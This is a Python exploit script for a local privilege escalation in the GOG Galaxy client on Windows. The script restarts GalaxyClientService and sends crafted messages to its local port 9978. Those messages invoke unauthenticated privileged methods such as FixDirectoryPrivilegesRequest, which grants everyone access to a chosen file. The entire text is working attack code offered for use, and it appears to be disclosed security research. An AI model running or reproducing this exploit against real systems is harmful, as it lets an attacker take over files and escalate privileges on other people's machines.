# GOG Galaxy - Local Privilege Escalation exploit by Adrian Denkiewicz import socket import argparse import os from time import sleep from enum import IntEnum Method = { # "Invalid": 0x00, "LaunchElevatedRequest": 0x01, # parsing error # "LaunchElevatedResponse": 0x02, "FixDirectoryPrivilegesRequest": 0x03, # "FixDirectoryPrivilegesResponse": 0x04, "CreateDirectoryRequest": 0x05, # "CreateDirectoryResponse": 0x06, "QueryProcessInfoRequest": 0x07, # "QueryProcessInfoResponse": 0x08, "InstallServiceRequest": 0x09, # parsing error # "InstallServiceResponse": 0x0A, # parsing error "DeleteServiceRequest": 0x0B, # Gets service name as argument # "DeleteServiceResponse": 0x0C, "MoveAndVerifyGlobalDependencyRequest": 0x0D, # copies file from # "C:\Program Files (x86)\GOG Galaxy\Dependencies-Temp\__redist\" # to # "C:\Program Files (x86)\GOG Galaxy\Dependencies\__redist\" # "MoveAndVerifyGlobalDependencyResponse": 0x0E } def call(method, path): path_length = len(path) buf = b"" buf += b"\x00\x0c\x08\x04\x10" buf += bytes([method]) buf += b"\x18" buf += bytes([path_length + 2]) buf += b"\x20" buf += b"\xd4\x80\xe9\x92\x15" # last half-byte 0x01 controls most significant byte of seq number, second half unknown buf += b"\x0a" buf += bytes([path_length]) return b"%b%b" % (buf, path.encode()) def parse_options(): desc = "GOG Galaxy LPE Exploit by Adrian Denkiewicz" epilog = "" epilog += "It exploits lack of auth when sensitive GalaxyClientService methods are called. " epilog += "Try FixDirectoryPrivilegesRequest (grants EVERYONE access to target file) or " epilog += "CreateDirectoryRequest (creates directory in target location)." parser = argparse.ArgumentParser(description=desc, epilog=epilog) parser.add_argument("target") parser.add_argument("--action", choices=[m for m in Method.keys()], default="FixDirectoryPrivilegesRequest") return vars(parser.parse_args()) if __name__ == "__main__": args = parse_options() # set target info RHOST = '127.0.0.1' RPORT = 9978 print("(Re)starting service...") os.system("sc start GalaxyClientService > NUL") print("Waiting...") sleep(1) print("Calling {}(\"{}\")".format(args["action"], args["target"])) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) s.sendall(call(Method[args["action"]], args["target"])) s.close() print("Done!")